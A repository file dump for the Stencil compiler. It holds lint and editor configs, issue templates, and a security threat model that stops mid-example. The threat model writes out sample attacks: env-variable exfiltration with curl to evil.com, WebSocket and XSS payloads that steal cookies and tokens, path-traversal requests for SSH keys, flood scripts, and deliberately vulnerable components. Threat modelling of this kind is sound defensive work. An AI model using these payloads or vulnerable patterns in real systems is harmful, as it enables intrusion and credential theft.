[
  {
    "path": ".editorconfig",
    "content": "# http://editorconfig.org\n\nroot = true\n\n[*]\ncharset = utf-8\nindent_style = space\nindent_size = 2\nend_of_line = lf\ninsert_final_newline = true\ntrim_trailing_whitespace = true\n\n[*.md]\ninsert_final_newline = false\ntrim_trailing_whitespace = false\n"
  },
  {
    "path": ".eslintrc.js",
    "content": "module.exports = {\n  root: true,\n  parser: '@typescript-eslint/parser',\n  plugins: ['@typescript-eslint', 'jsdoc', 'jest', 'simple-import-sort', 'wdio'],\n  extends: [\n    'plugin:jest/recommended',\n    // including prettier here ensures that we don't set any rules which will conflict\n    // with Prettier's formatting. Keep it last in the list so that nothing else messes\n    // with it!\n    'prettier',\n  ],\n  rules: {\n    '@typescript-eslint/no-unused-vars': [\n      'error',\n      {\n        argsIgnorePattern: '^_',\n        // TODO(STENCIL-452): Investigate using eslint-plugin-react to remove the need for varsIgnorePattern\n        varsIgnorePattern: '^(h|Fragment)$',\n      },\n    ],\n    /**\n     * Configuration for Jest rules can be found here:\n     * https://github.com/jest-community/eslint-plugin-jest/tree/main/docs/rules\n     */\n    'jest/expect-expect': [\n      'error',\n      {\n        // we set this to `expect*` so that any function whose name starts with expect will be counted\n        // as an assertion function, allowing us to use functions to DRY up test suites.\n        assertFunctionNames: ['expect*'],\n      },\n    ],\n    // we...have a number of things disabled :)\n    // TODO(STENCIL-488): Turn this rule back on once there are no violations of it remaining\n    'jest/no-disabled-tests': ['off'],\n    // we use this in enough places that we don't want to do per-line disables\n    'jest/no-conditional-expect': ['off'],\n    // this enforces that Jest hooks (e.g. `beforeEach`) are declared in test files in their execution order\n    // see here for details: https://github.com/jest-community/eslint-plugin-jest/blob/main/docs/rules/prefer-hooks-in-order.md\n    'jest/prefer-hooks-in-order': ['warn'],\n    // this enforces that Jest hooks (e.g. `beforeEach`) are declared at the top of `describe` blocks\n    'jest/prefer-hooks-on-top': ['warn'],\n    /**\n     * Configuration for the JSDoc plugin rules can be found at:\n     * https://github.com/gajus/eslint-plugin-jsdoc\n     */\n    // validates that the name immediately following `@param` matches the parameter name in the function signature\n    // this works in conjunction with \"jsdoc/require-param\"\n    'jsdoc/check-param-names': [\n      'error',\n      {\n        // if `checkStructured` is `true`, it asks that the JSDoc describe the fields being destructured.\n        // turn this off to not leak function internals/discourage describing them\n        checkDestructured: false,\n      },\n    ],\n    // require that jsdoc attached to a method/function require one `@param` per parameter\n    'jsdoc/require-param': [\n      'error',\n      {\n        // if `checkStructured` is `true`, it asks that the JSDoc describe the fields being destructured.\n        // turn this off to not leak function internals/discourage describing them\n        checkDestructured: false,\n        // always check setters as they should require a parameter (by definition)\n        checkSetters: true,\n      },\n    ],\n    'jsdoc/require-param-description': ['error'],\n    // rely on TypeScript types to be the source of truth, minimize verbosity in comments\n    'jsdoc/require-param-type': ['off'],\n    'jsdoc/require-returns': ['error'],\n    'jsdoc/require-returns-check': ['error'],\n    'jsdoc/require-returns-description': ['error'],\n    // rely on TypeScript types to be the source of truth, minimize verbosity in comments\n    'jsdoc/require-returns-type': ['off'],\n    'no-cond-assign': 'error',\n    'no-var': 'error',\n    'prefer-const': 'error',\n    'prefer-rest-params': 'error',\n    'prefer-spread': 'error',\n    'simple-import-sort/exports': 'error',\n    'simple-import-sort/imports': 'error',\n  },\n  overrides: [\n    {\n      // the stencil entry point still uses `var`, ignore errors related to it\n      files: 'bin/**',\n      rules: {\n        'no-var': 'off',\n      },\n    },\n    {\n      // we don't want to use jest-related lint rules in the wdio tests\n      files: 'test/wdio/**/*.tsx',\n      rules: {\n        'jest/expect-expect': 'off',\n        'wdio/await-expect': 'error',\n      },\n    },\n  ],\n  // inform ESLint about the global variables defined in a Jest context\n  // see https://github.com/jest-community/eslint-plugin-jest/#usage\n  env: {\n    'jest/globals': true,\n  },\n};\n"
  },
  {
    "path": ".gitattributes",
    "content": "* text=auto eol=lf\n"
  },
  {
    "path": ".github/CODEOWNERS",
    "content": "* @stenciljs/technical-steering-committee\n"
  },
  {
    "path": ".github/CONTRIBUTING.md",
    "content": "# Contributing\n\nThanks for your interest in contributing to Stencil! :tada: We've moved the [Contributing Guidelines](https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md) to the root of the project. :pray: "
  },
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\ngithub: [johnjenkins]\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.yml",
    "content": "name: 🐛 Bug Report\ndescription: Create a report to help us improve Stencil\ntitle: 'bug: '\nlabels: ['triage']\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Thanks for taking the time to fill out this bug report!\n\n        Please provide a minimal reproduction using our [Stencil Starter](https://codesandbox.io/p/github/johnjenkins/stencil-starter/).\n\n        <details>\n        <summary>Other starter templates</summary>\n\n        - [Stencil + Vitest](https://codesandbox.io/p/github/johnjenkins/stencil-starter-vitest/)\n        - [Angular](https://codesandbox.io/p/github/johnjenkins/stencil-angular-starter/)\n        - [NextJs](https://codesandbox.io/p/github/johnjenkins/stencil-starter-next/)\n        - [React](https://codesandbox.io/p/github/johnjenkins/stencil-starter-react/)\n        - [Vue](https://codesandbox.io/p/github/johnjenkins/stencil-starter-vue/)\n\n        </details>\n\n        A minimal reproduction is **required** unless you are absolutely sure the issue is obvious.\n        If the issue cannot be reliably reproduced, it will be labeled `ionitron: needs reproduction` and may be closed.\n\n  - type: checkboxes\n    attributes:\n      label: Prerequisites\n      description: Please ensure you have completed all of the following.\n      options:\n        - label: I have read the [Contributing Guidelines](https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md).\n          required: true\n        - label: I agree to follow the [Code of Conduct](https://github.com/stenciljs/core/blob/main/CODE_OF_CONDUCT.md).\n          required: true\n        - label: I have searched for [existing issues](https://github.com/stenciljs/core/issues) that already report this problem, without success.\n          required: true\n  - type: input\n    attributes:\n      label: Stencil Version\n      description: The version number of Stencil where the issue is occurring.\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Current Behavior\n      description: A clear description of what the bug is and how it manifests.\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Expected Behavior\n      description: A clear description of what you expected to happen.\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: System Info\n      description: |\n        Output of `npx stencil info`.\n        Please provide any additional information, such as npm version, browser(s) & version(s) as well\n      render: shell\n      placeholder: System, Environment, Browsers. At minimum, please include `npx stencil info` output.\n  - type: textarea\n    attributes:\n      label: Steps to Reproduce\n      description: Please explain the steps required to duplicate this issue.\n    validations:\n      required: true\n  - type: input\n    attributes:\n      label: Code Reproduction URL\n      description: |\n        Please reproduce this issue in a blank Stencil starter application and provide a link to the repo.\n        Run `npm init stencil@latest` to quickly spin up a Stencil project, or use our [Stencil Starter](https://codesandbox.io/p/github/johnjenkins/stencil-starter/).\n        This is the best way to ensure this issue is triaged quickly.\n        Issues that do not include a code reproduction are likely to be closed without any investigation.\n      placeholder: https://github.com/...\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Additional Information\n      description: List any other information that is relevant to your issue. Stack traces, related issues, suggestions on how to fix, Stack Overflow links, forum links, etc.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "contact_links:\n  - name: 📚 Documentation\n    url: https://github.com/stenciljs/site/issues/new/choose\n    about: This issue tracker is not for documentation issues. Please file documentation issues on the Stencil site repo.\n  - name: 💻 Create Stencil CLI\n    url: https://github.com/ionic-team/create-stencil/issues/new/choose\n    about: This issue tracker is not for Create Stencil CLI issues. Please file CLI issues on the Create Stencil CLI repo.\n  - name: 🤔 Support Question\n    url: https://forum.ionicframework.com/\n    about: This issue tracker is not for support questions. Please post your question on the Ionic Forums.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.yml",
    "content": "name: 💡 Feature Request\ndescription: Suggest an idea for Stencil\ntitle: 'feat: '\nbody:\n  - type: checkboxes\n    attributes:\n      label: Prerequisites\n      description: Please ensure you have completed all of the following.\n      options:\n        - label: I have read the [Contributing Guidelines](https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md).\n          required: true\n        - label: I agree to follow the [Code of Conduct](https://github.com/stenciljs/core/blob/main/CODE_OF_CONDUCT.md).\n          required: true\n        - label: I have searched for [existing issues](https://github.com/stenciljs/core/issues) that already include this feature request, without success.\n          required: true\n  - type: textarea\n    attributes:\n      label: Describe the Feature Request\n      description: A clear and concise description of what the feature does.\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Describe the Use Case\n      description: A clear and concise use case for what problem this feature would solve.\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Describe Preferred Solution\n      description: A clear and concise description of how you want this feature to be added to Stencil.\n  - type: textarea\n    attributes:\n      label: Describe Alternatives\n      description: A clear and concise description of any alternative solutions or features you have considered.\n  - type: textarea\n    attributes:\n      label: Related Code\n      description: If you are able to illustrate the feature request with an example, please provide a sample Stencil component(s). Run `npm init stencil` to quickly spin up a Stencil project.\n  - type: textarea\n    attributes:\n      label: Additional Information\n      description: List any other information that is relevant to your issue. Stack traces, related issues, suggestions on how to implement, Stack Overflow links, forum links, etc.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE.md",
    "content": "<!--\nNOTE:\nBefore submitting an issue, please consult our docs -> https://stenciljs.com/\n-->\n\n**Stencil version:**\n<!-- (run `npm list @stencil/core` from a terminal/cmd prompt and paste output below): -->\n```\n @stencil/core@<version>\n```\n\n**Current behavior:**\n<!-- Describe how the bug manifests. -->\n\n**Expected behavior:**\n<!-- Describe what the behavior would be without the bug. -->\n\n**GitHub Reproduction Link:**\n<!-- Please reproduce this issue in a blank Stencil starter application and provide a link to the repo. Run `npm init stencil` to quickly spin up a Stencil project.\nThis is the best way to ensure this issue is triaged quickly. Issues without a code reproduction may be closed if the Stencil Team cannot reproduce the issue you are reporting. -->\n\n**Other information:**\n<!-- List any other information that is relevant to your issue. Stack traces, related issues, suggestions on how to fix, Stack Overflow links, forum links, etc. -->\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "<!-- Please refer to our contributing documentation for any questions on submitting a pull request, or let us know here if you need any help: https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md -->\n\n\n## What is the current behavior?\n<!-- Please describe the current behavior that you are modifying, or link to a relevant issue. -->\n\nGitHub Issue Number: N/A\n\n\n## What is the new behavior?\n<!-- Please describe the behavior or changes that are being added by this PR. -->\n\n\n\n## Documentation\n\n<!-- Please add any link(s) to documentation-related pull requests here -->\n\n## Does this introduce a breaking change?\n\n- [ ] Yes\n- [ ] No\n\n<!-- If this introduces a breaking change, please describe the impact and migration path for existing applications below. -->\n\n## Testing\n\n<!-- Please describe the steps you took to test the changes in this PR. These steps can be programmatic (e.g. unit tests) and/or manual. -->\n\n## Other information\n\n<!-- Any other information that is important to this PR such as screenshots of how a component looks before and after the change. -->\n"
  },
  {
    "path": ".github/SECURITY.md",
    "content": "# Stencil Security Policy\n\nThis document outlines the security policy and threat model for the Stencil project.\n\n## Reporting a Vulnerability\n\nThe Stencil team and community take all security vulnerabilities seriously. If you believe you have found a security vulnerability in Stencil, please report it to us as described below.\n\n**DO NOT report security vulnerabilities through public GitHub issues.**\n\nPlease email us at [product.security@outsystems.com](mailto:product.security@outsystems.com) with a description of the vulnerability and steps to reproduce it. You should receive a response within 48 hours. If for some reason you do not, please follow up via the same email to ensure we received your original message.\n\n## Threat Model\n\nThis threat model is intended to provide a security overview of the Stencil project. It is broken down into the following sections:\n\n1.  Feature Breakdown\n2.  Threat Identification\n3.  Threat Prioritization\n4.  Threat Mitigation\n\n### 1. Feature Breakdown\n\nStencil is a compiler that generates Web Components and builds high-performance web applications. Its architecture can be broken down into the following core components:\n\n*   **Stencil Compiler**: A toolchain that runs in a Node.js environment (typically on a developer machine or a CI/CD server). It transpiles TypeScript/JSX, optimizes components, and bundles them for production. It reads a `stencil.config.ts` file for configuration and has access to the file system.\n*   **Dev Server**: A local web server for development. It serves the application, provides hot-module-reloading (HMR), and communicates with the client-side runtime over a WebSocket connection.\n*   **Client-side Runtime**: A small piece of JavaScript code that is shipped with every Stencil application. It runs in the end-user's browser and manages component lifecycle, rendering, and event handling.\n*   **Server-Side Rendering (Hydrate)**: A system that runs on a Node.js server to pre-render Stencil components into static HTML. This is often used for performance and SEO purposes.\n*   **Command Line Interface (CLI)**: The primary tool for developers to interact with Stencil, used for creating projects, building them, running tests, and more.\n\n### 2. Threat Identification\n\nWe use the STRIDE model to identify potential security threats for each component, with DREAD scoring for risk assessment.\n\n#### Compiler\n\n**Threat #1: Arbitrary code execution via malicious configuration or plugins**\n- **Category**: Elevation of Privilege\n- **Description**: Arbitrary code execution through malicious `stencil.config.ts` files, plugins, or compromised dependencies. Since Stencil configuration files are executed as TypeScript/JavaScript during the build process, they have full access to the Node.js environment and can perform any operation the build user can perform. This includes file system access, network requests, spawning processes, and accessing environment variables.\n\n**Attack Scenarios:**\n1. **Malicious configuration**: Developer downloads a project template with a compromised `stencil.config.ts`\n2. **Supply chain attack**: A legitimate plugin is compromised and pushes malicious code\n3. **Dependency confusion**: Attacker publishes a malicious package with a similar name to a legitimate plugin\n4. **Social engineering**: Attacker convinces developer to install a \"helpful\" plugin that contains malicious code\n\n**Example Vulnerable Configuration:**\n```typescript\n// stencil.config.ts - MALICIOUS\nexport const config: Config = {\n  outputTargets: [{\n    type: 'www',\n    serviceWorker: null\n  }],\n  // Malicious code disguised as configuration\n  plugins: [\n    {\n      name: 'innocent-looking-plugin',\n      configResolved() {\n        // Exfiltrate environment variables\n        require('child_process').exec('curl -X POST https://evil.com/steal -d \"$(env)\"');\n        // Install backdoor\n        require('fs').writeFileSync('/tmp/backdoor.sh', '#!/bin/bash\\n# backdoor code');\n      }\n    }\n  ]\n};\n```\n\n**Real-world Impact:**\n- **2020**: SolarWinds supply chain attack affected 18,000+ organizations\n- **2021**: UA-Parser-JS npm package was compromised, affecting millions of downloads\n- Build-time code execution can lead to complete compromise of CI/CD pipelines and deployment infrastructure\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 10 | Complete compromise of developer machine, potential supply chain attack affecting all users of the compiled application |\n| **Reproducibility** | 10 | Easy to reproduce by creating malicious config or plugin |\n| **Exploitability** | 5 | Requires social engineering to get developer to use malicious config/plugin |\n| **Affected Users** | 10 | All users of applications built with compromised toolchain |\n| **Discoverability** | 8 | Configuration files are easily inspectable |\n\n**DREAD Score: 43/50 - CRITICAL**\n\n**Threat #2: Information disclosure of environment variables**\n- **Category**: Information Disclosure\n- **Description**: Leaking environment variables or build-time secrets into the bundle. This occurs when developers inadvertently expose sensitive data such as API keys, database credentials, authentication tokens, or internal service URLs by including them in environment variables that get bundled into the client-side JavaScript. Unlike server-side code, client-side bundles are publicly accessible and can be inspected by anyone, making any embedded secrets immediately visible to attackers.\n\n**Attack Scenarios:**\n1. **Direct environment variable exposure**: Developer accidentally references `process.env.DATABASE_PASSWORD` in component code\n2. **Configuration file leakage**: Sensitive values from `stencil.config.ts` being included in the bundle\n3. **Build script injection**: CI/CD environment variables containing secrets being inadvertently bundled\n4. **Third-party plugin exposure**: Malicious or poorly configured plugins accessing and bundling environment variables\n\n**Example Vulnerable Code:**\n```typescript\n// In a Stencil component - VULNERABLE\n@Component({\n  tag: 'api-client'\n})\nexport class ApiClient {\n  private apiKey = process.env.API_SECRET_KEY; // This gets bundled!\n  private dbUrl = process.env.DATABASE_URL;    // This too!\n  \n  async fetchData() {\n    return fetch(`https://api.example.com/data?key=${this.apiKey}`);\n  }\n}\n```\n\n**Example Attack:**\nAn attacker can simply:\n1. Visit the application in a browser\n2. Open developer tools and inspect the JavaScript bundle\n3. Search for common patterns like \"process.env\", \"API_KEY\", \"SECRET\", etc.\n4. Extract the exposed credentials and use them to access backend services\n\n**Real-world Impact:**\n- **2019**: GitHub reported that over 100,000 repositories contained exposed API keys\n- **2021**: A major e-commerce platform was breached after AWS credentials were found in their client-side bundles\n- Exposed database credentials can lead to complete data breaches affecting millions of users\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 8 | Sensitive data like API keys could be exposed in client-side bundles |\n| **Reproducibility** | 10 | Easy to reproduce by misconfiguring environment variable exposure |\n| **Exploitability** | 10 | No special tools required, just inspect the bundle |\n| **Affected Users** | 10 | All end users of the application can access leaked secrets |\n| **Discoverability** | 10 | Bundle contents are publicly accessible |\n\n**DREAD Score: 48/50 - CRITICAL**\n\n**Threat #3: Denial of service via malformed input**\n- **Category**: Denial of Service\n- **Description**: Malformed input files causing the Stencil compiler to crash, hang, or consume excessive resources during the build process. This can occur through crafted TypeScript/JSX files, CSS files, or assets that exploit parsing vulnerabilities or trigger resource-intensive operations.\n\n**Attack Scenarios:**\n1. **Deeply nested JSX**: Extremely nested component structures causing stack overflow\n2. **Circular dependencies**: Components with circular imports causing infinite loops\n3. **Large file attacks**: Massive files designed to exhaust memory or disk space\n4. **Malformed syntax**: Invalid TypeScript/JSX that crashes the parser\n\n**Example Vulnerable Input:**\n```typescript\n// Deeply nested JSX causing stack overflow\nconst DeepComponent = () => (\n  <div>\n    <div>\n      <div>\n        {/* ... thousands of nested divs ... */}\n        <div>Content</div>\n        {/* ... thousands of nested divs ... */}\n      </div>\n    </div>\n  </div>\n);\n\n// Circular dependency causing infinite loop\n// file1.tsx\nimport { Component2 } from './file2';\nexport const Component1 = () => <Component2 />;\n\n// file2.tsx  \nimport { Component1 } from './file1';\nexport const Component2 = () => <Component1 />;\n```\n\n**Impact:**\n- Development workflow disruption\n- CI/CD pipeline failures\n- Resource exhaustion on build servers\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 5 | Build process fails, development workflow disrupted |\n| **Reproducibility** | 8 | Can be reproduced with specific malformed input |\n| **Exploitability** | 5 | Requires crafting specific malformed input |\n| **Affected Users** | 2.5 | Only affects individual developer |\n| **Discoverability** | 8 | Error conditions are often visible in build logs |\n\n**DREAD Score: 28.5/50 - HIGH**\n\n#### Dev Server\n\n**Threat #4: Directory traversal attack**\n- **Category**: Information Disclosure\n- **Description**: Directory traversal attacks that exploit insufficient path validation in the dev server to access files outside the project root directory. Attackers can use path traversal sequences (../) to navigate up the directory tree and access sensitive files on the developer's machine, including system configuration files, SSH keys, environment files, and other projects.\n\n**Attack Scenarios:**\n1. **System file access**: Reading `/etc/passwd`, `/etc/shadow`, or Windows system files\n2. **SSH key theft**: Accessing `~/.ssh/id_rsa` or other private keys\n3. **Environment file exposure**: Reading `.env` files from other projects\n4. **Source code theft**: Accessing source code from other projects on the same machine\n\n**Example Attack:**\n```bash\n# Attacker crafts malicious URLs to access sensitive files\ncurl \"http://localhost:3333/../../etc/passwd\"\ncurl \"http://localhost:3333/../../../home/user/.ssh/id_rsa\" \ncurl \"http://localhost:3333/../../../../var/log/auth.log\"\n\n# Or via browser\nhttp://localhost:3333/../../etc/hosts\nhttp://localhost:3333/../../../Users/developer/.aws/credentials\n```\n\n**Vulnerable Code Pattern:**\n```typescript\n// Simplified example of vulnerable path handling\nfunction serveFile(url: string) {\n  const filePath = path.join(rootDir, url); // VULNERABLE - no validation\n  return fs.readFileSync(filePath);\n}\n```\n\n**Real-world Impact:**\n- **2018**: Numerous Node.js development servers found vulnerable to directory traversal\n- Can lead to complete compromise of developer machines and access to multiple projects\n- Particularly dangerous in shared development environments\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 10 | Can read arbitrary files on developer's machine including sensitive data |\n| **Reproducibility** | 10 | Easy to reproduce with crafted URLs |\n| **Exploitability** | 10 | Simple HTTP requests, no special tools needed |\n| **Affected Users** | 2.5 | Individual developer affected |\n| **Discoverability** | 10 | Dev server endpoints are easily discoverable |\n\n**DREAD Score: 42.5/50 - CRITICAL**\n\n**Threat #5: Malicious WebSocket connection**\n- **Category**: Spoofing\n- **Description**: Malicious websites connecting to the Stencil dev server's WebSocket endpoint used for Hot Module Reloading (HMR) to inject malicious code or extract development information. The dev server typically accepts WebSocket connections without proper origin validation, allowing any website the developer visits to potentially connect and manipulate the development environment.\n\n**Attack Scenarios:**\n1. **Code injection via HMR**: Malicious site sends fake HMR updates containing malicious JavaScript\n2. **Development environment reconnaissance**: Extracting project structure, file paths, and source code\n3. **Cross-origin data theft**: Accessing development data through WebSocket messages\n4. **Development workflow manipulation**: Interfering with legitimate HMR updates\n\n**Example Attack:**\n```html\n<!-- Malicious website visited by developer -->\n<script>\n// Connect to developer's Stencil dev server\nconst ws = new WebSocket('ws://localhost:3333');\n\nws.onopen = () => {\n  // Inject malicious code via fake HMR update\n  ws.send(JSON.stringify({\n    type: 'hmr-update',\n    path: '/src/components/my-component.tsx',\n    content: `\n      // Original component code...\n      \n      // Malicious addition\n      fetch('https://evil.com/steal', {\n        method: 'POST',\n        body: JSON.stringify({\n          cookies: document.cookie,\n          localStorage: localStorage,\n          sessionStorage: sessionStorage\n        })\n      });\n    `\n  }));\n};\n\n// Extract development information\nws.onmessage = (event) => {\n  // Send development data to attacker\n  fetch('https://evil.com/dev-data', {\n    method: 'POST', \n    body: event.data\n  });\n};\n</script>\n```\n\n**Impact:**\n- Compromise of development environment\n- Theft of proprietary source code\n- Injection of malicious code into development builds\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 8 | Could inject malicious code via HMR, compromise development environment |\n| **Reproducibility** | 7.5 | Requires developer to visit malicious site while dev server is running |\n| **Exploitability** | 5 | Requires creating malicious website and social engineering |\n| **Affected Users** | 2.5 | Individual developer affected |\n| **Discoverability** | 9 | WebSocket endpoints are predictable |\n\n**DREAD Score: 32/50 - HIGH**\n\n**Threat #6: Resource exhaustion**\n- **Category**: Denial of Service\n- **Description**: Resource exhaustion attacks targeting the Stencil dev server through excessive HTTP requests, WebSocket connections, or resource-intensive operations. Since dev servers typically lack production-grade rate limiting and resource management, they can be easily overwhelmed by automated attacks or even accidental excessive requests.\n\n**Attack Scenarios:**\n1. **HTTP flood**: Overwhelming the server with rapid HTTP requests\n2. **WebSocket exhaustion**: Opening numerous WebSocket connections to exhaust memory\n3. **Large file requests**: Requesting large assets repeatedly to exhaust bandwidth/memory\n4. **Concurrent build triggers**: Triggering multiple simultaneous rebuilds\n\n**Example Attack:**\n```bash\n# Simple HTTP flood attack\nfor i in {1..10000}; do\n  curl \"http://localhost:3333/\" &\ndone\n\n# WebSocket connection exhaustion\nnode -e \"\nfor(let i=0; i<1000; i++) {\n  new require('ws')('ws://localhost:3333');\n}\n\"\n\n# Large file request loop\nwhile true; do\n  curl \"http://localhost:3333/large-video-file.mp4\" &\ndone\n```\n\n**Automated Attack Script:**\n```python\nimport asyncio\nimport aiohttp\n\nasync def flood_attack():\n    connector = aiohttp.TCPConnector(limit=1000)\n    async with aiohttp.ClientSession(connector=connector) as session:\n        tasks = []\n        for i in range(10000):\n            task = session.get('http://localhost:3333/')\n            tasks.append(task)\n        await asyncio.gather(*tasks, return_exceptions=True)\n\nasyncio.run(flood_attack())\n```\n\n**Impact:**\n- Dev server becomes unresponsive\n- Development workflow completely disrupted\n- Can affect entire local network if server binds to 0.0.0.0\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 5 | Dev server becomes unresponsive, development workflow disrupted |\n| **Reproducibility** | 10 | Easy to reproduce with automated requests |\n| **Exploitability** | 10 | Simple HTTP flood attack |\n| **Affected Users** | 2.5 | Individual developer affected |\n| **Discoverability** | 10 | Dev server is easily discoverable on local network |\n\n**DREAD Score: 37.5/50 - HIGH**\n\n#### Client-side Runtime\n\n**Threat #7: Cross-Site Scripting (XSS)**\n- **Category**: Tampering\n- **Description**: Cross-Site Scripting attacks that exploit insufficient input sanitization in Stencil components to inject and execute malicious JavaScript in users' browsers. While Stencil provides some built-in XSS protection through JSX's automatic escaping, developers can still introduce vulnerabilities through unsafe practices like using `innerHTML` with untrusted data or improper handling of user inputs.\n\n**Attack Scenarios:**\n1. **Stored XSS**: Malicious scripts stored in database and rendered by components\n2. **Reflected XSS**: Malicious scripts in URL parameters reflected in component output\n3. **DOM-based XSS**: Client-side JavaScript manipulation of DOM with untrusted data\n4. **Component prop injection**: Malicious data passed through component properties\n\n**Example Vulnerable Code:**\n```typescript\n@Component({\n  tag: 'user-profile'\n})\nexport class UserProfile {\n  @Prop() userBio: string;\n  @Prop() userName: string;\n  \n  render() {\n    return (\n      <div>\n        {/* VULNERABLE - innerHTML with untrusted data */}\n        <div innerHTML={this.userBio}></div>\n        \n        {/* VULNERABLE - URL parameter directly rendered */}\n        <h1>Welcome {new URLSearchParams(location.search).get('name')}</h1>\n        \n        {/* VULNERABLE - Dynamic script execution */}\n        <script>{`var user = \"${this.userName}\";`}</script>\n      </div>\n    );\n  }\n}\n```\n\n**Example Attack Payloads:**\n```html\n<!-- Stored in user bio field -->\n<img src=\"x\" onerror=\"fetch('https://evil.com/steal?cookies='+document.cookie)\" />\n\n<!-- In URL parameter -->\nhttps://app.com/profile?name=<script>alert('XSS')</script>\n\n<!-- In component property -->\n<user-profile user-name='\"; fetch(\"https://evil.com/steal\", {method: \"POST\", body: localStorage.getItem(\"authToken\")}); //'></user-profile>\n```\n\n**Attack Impact:**\n- Session hijacking through cookie theft\n- Account takeover via stolen authentication tokens\n- Defacement of web applications\n- Phishing attacks through injected content\n- Cryptocurrency mining scripts\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 10 | Full compromise of user session, data theft, account takeover |\n| **Reproducibility** | 8 | Depends on application's input validation |\n| **Exploitability** | 9 | Well-known attack vectors, many tools available |\n| **Affected Users** | 10 | All end users of the application |\n| **Discoverability** | 9 | Input fields and dynamic content are easily identifiable |\n\n**DREAD Score: 46/50 - CRITICAL**\n\n**Threat #8: Information disclosure via component state**\n- **Category**: Information Disclosure\n- **Description**: Sensitive information being exposed through component props, state, or internal data structures that can be accessed via browser developer tools or client-side inspection. Stencil components run in the browser where all JavaScript is accessible to users, making any sensitive data stored in component memory visible to attackers.\n\n**Attack Scenarios:**\n1. **Developer tools inspection**: Using browser dev tools to examine component state\n2. **Component debugging**: Accessing component instances through global variables\n3. **Memory dump analysis**: Using browser memory profiling to extract sensitive data\n4. **Event listener exploitation**: Triggering debug events that expose internal state\n\n**Example Vulnerable Code:**\n```typescript\n@Component({\n  tag: 'payment-form'\n})\nexport class PaymentForm {\n  @State() creditCardNumber: string;\n  @State() cvv: string;\n  @State() apiKey: string = 'sk_live_abc123'; // VULNERABLE - API key in state\n  @State() internalUserData = {\n    ssn: '123-45-6789',      // VULNERABLE - SSN in state\n    salary: 75000,           // VULNERABLE - sensitive PII\n    role: 'admin'            // VULNERABLE - privilege info\n  };\n  \n  // VULNERABLE - Debug method exposing sensitive data\n  @Method()\n  async debugInfo() {\n    return {\n      creditCard: this.creditCardNumber,\n      cvv: this.cvv,\n      apiKey: this.apiKey,\n      userData: this.internalUserData\n    };\n  }\n  \n  render() {\n    return (\n      <div>\n        <input \n          value={this.creditCardNumber}\n          onInput={(e) => this.creditCardNumber = e.target.value}\n        />\n        {/* VULNERABLE - Sensitive data in DOM attributes */}\n        <div data-api-key={this.apiKey}>Payment processing...</div>\n      </div>\n    );\n  }\n}\n```\n\n**Example Attack:**\n```javascript\n// In browser console - accessing component state\nconst paymentComponent = document.querySelector('payment-form');\n\n// Direct state access (if exposed)\nconsole.log(paymentComponent.creditCardNumber);\nconsole.log(paymentComponent.apiKey);\n\n// Method invocation\npaymentComponent.debugInfo().then(data => {\n  console.log('Stolen data:', data);\n  // Send to attacker's server\n  fetch('https://evil.com/steal', {\n    method: 'POST',\n    body: JSON.stringify(data)\n  });\n});\n\n// Component inspection via dev tools\nconsole.log('%c Component State Inspector', 'color: red; font-size: 20px');\nObject.getOwnPropertyNames(paymentComponent).forEach(prop => {\n  console.log(prop, ':', paymentComponent[prop]);\n});\n```\n\n**Real-world Impact:**\n- Credit card and payment information theft\n- Personal Identifiable Information (PII) exposure\n- API key and authentication token theft\n- Business logic and internal data structure exposure\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 8 | Sensitive user data or application secrets could be exposed |\n| **Reproducibility** | 5 | Depends on specific component implementation |\n| **Exploitability** | 9 | Browser dev tools make component inspection easy |\n| **Affected Users** | 6 | Users of specific components |\n| **Discoverability** | 10 | Component state is visible in browser dev tools |\n\n**DREAD Score: 38/50 - HIGH**\n\n**Threat #9: Client-side denial of service**\n- **Category**: Denial of Service\n- **Description**: Malicious or poorly written component code that causes excessive CPU usage, memory consumption, or infinite loops, leading to browser freezing or crashes. This can be triggered through crafted user inputs, malicious component properties, or exploitation of inefficient algorithms in component logic.\n\n**Attack Scenarios:**\n1. **Infinite render loops**: Components that trigger continuous re-renders\n2. **Memory exhaustion**: Creating excessive DOM elements or objects\n3. **CPU-intensive operations**: Computationally expensive operations in render methods\n4. **Recursive component calls**: Components that call themselves infinitely\n\n**Example Vulnerable Code:**\n```typescript\n@Component({\n  tag: 'vulnerable-list'\n})\nexport class VulnerableList {\n  @Prop() items: string[] = [];\n  @State() processedItems: any[] = [];\n  \n  componentWillLoad() {\n    // VULNERABLE - Infinite loop with malicious input\n    this.processItems();\n  }\n  \n  processItems() {\n    // VULNERABLE - No bounds checking\n    while (this.items.length > 0) {\n      // Process logic that never reduces items.length\n      this.processedItems.push(this.items[0]);\n      // Missing: this.items.shift();\n    }\n  }\n  \n  render() {\n    return (\n      <div>\n        {/* VULNERABLE - Rendering potentially massive arrays */}\n        {this.items.map((item, index) => \n          // VULNERABLE - Recursive component rendering\n          <vulnerable-list items={[item, item, item]}></vulnerable-list>\n        )}\n        \n        {/* VULNERABLE - Memory exhaustion through massive DOM */}\n        {Array(1000000).fill(0).map((_, i) => \n          <div key={i}>Heavy DOM element {i}</div>\n        )}\n      </div>\n    );\n  }\n  \n  @Listen('click')\n  